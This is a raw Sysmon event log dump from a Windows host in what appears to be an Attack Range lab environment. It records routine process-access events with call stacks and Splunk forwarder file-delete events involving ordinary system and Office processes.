RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c 10341000x800000000000000042671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.680{7BD73061-65B2-613B-1300-00000000F001}922284C:\Windows\System32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x1440C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\pcasvc.dll+5bab|c:\windows\system32\pcasvc.dll+5b07|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.664{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.648{7BD73061-6DFF-613B-DF06-00000000F001}57961552C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\windows.storage.dll+89d2f|C:\Windows\System32\windows.storage.dll+899a5|C:\Windows\System32\windows.storage.dll+89496|C:\Windows\System32\windows.storage.dll+8a908|C:\Windows\System32\windows.storage.dll+892be|C:\Windows\System32\windows.storage.dll+8c0d5|C:\Windows\System32\windows.storage.dll+8c454|C:\Windows\System32\windows.storage.dll+8ba90|C:\Windows\System32\SHELL32.dll+3cd3f|C:\Windows\System32\SHELL32.dll+3cbcc|C:\Windows\System32\SHELL32.dll+3c91c|C:\Windows\System32\SHELL32.dll+e2087|C:\Windows\System32\SHELL32.dll+e1fe5|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a7b1a|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4cce35|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4ab6e3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+464328|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2 10341000x800000000000000042668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.602{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-F308-00000000F001}5124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000042667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.602{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6643ED156BD90DC9FFF9C47FAF38C8E9,SHA256=C598AD4CCABF949B1C965F43A2A9DAEC13DA2426EC06908AE94FFE97BBB79CBF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.586{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F40-613B-F308-00000000F001}5124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.586{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F40-613B-F308-00000000F001}5124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.586{7BD73061-6D0E-613B-8A06-00000000F001}32685920C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\shcore.dll+35576|C:\Windows\System32\shcore.dll+201ef|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 10341000x800000000000000042663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.586{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2a2fc5|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000042662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.586{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2ca482|C:\Windows\System32\Windows.Storage.dll+13b515|C:\Windows\System32\Windows.Storage.dll+74b46|C:\Windows\System32\Windows.Storage.dll+2a2f27|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000042661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.539{7BD73061-6D0E-613B-8A06-00000000F001}32686068C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\shcore.dll+35576|C:\Windows\System32\shcore.dll+201ef|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 10341000x800000000000000042660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.539{7BD73061-6D0E-613B-8A06-00000000F001}32685920C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\shcore.dll+35576|C:\Windows\System32\shcore.dll+201ef|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 23542300x800000000000000042659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.539{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6842624CFBAEF8C317D0EC85B474AC56,SHA256=8ABC6AE8985EDABBE883F8CBA2FA52BCAAF5381A1828934A8FF8D8FE2B5C3391,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.523{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2a2fc5|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000042657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.523{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2ca482|C:\Windows\System32\Windows.Storage.dll+13b515|C:\Windows\System32\Windows.Storage.dll+74b46|C:\Windows\System32\Windows.Storage.dll+2a2f27|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000042656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.523{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2a2fc5|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000042655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.523{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2ca482|C:\Windows\System32\Windows.Storage.dll+13b515|C:\Windows\System32\Windows.Storage.dll+74b46|C:\Windows\System32\Windows.Storage.dll+2a2f27|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000042654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.523{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-F208-00000000F001}5860C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+131ba3|C:\Windows\System32\Windows.Storage.dll+130e1d|C:\Windows\System32\Windows.Storage.dll+130d31|C:\Windows\System32\Windows.Storage.dll+130cca|C:\Windows\System32\Windows.Storage.dll+9ba99|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000042652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+139883|C:\Windows\System32\Windows.Storage.dll+9b910|C:\Windows\System32\Windows.Storage.dll+9b867|C:\Windows\System32\Windows.Storage.dll+9ba37|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a 10341000x800000000000000042651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+137543|C:\Windows\System32\Windows.Storage.dll+61dd5|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000042650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+61da9|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\Windows.Storage.dll+13225c 10341000x800000000000000042649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 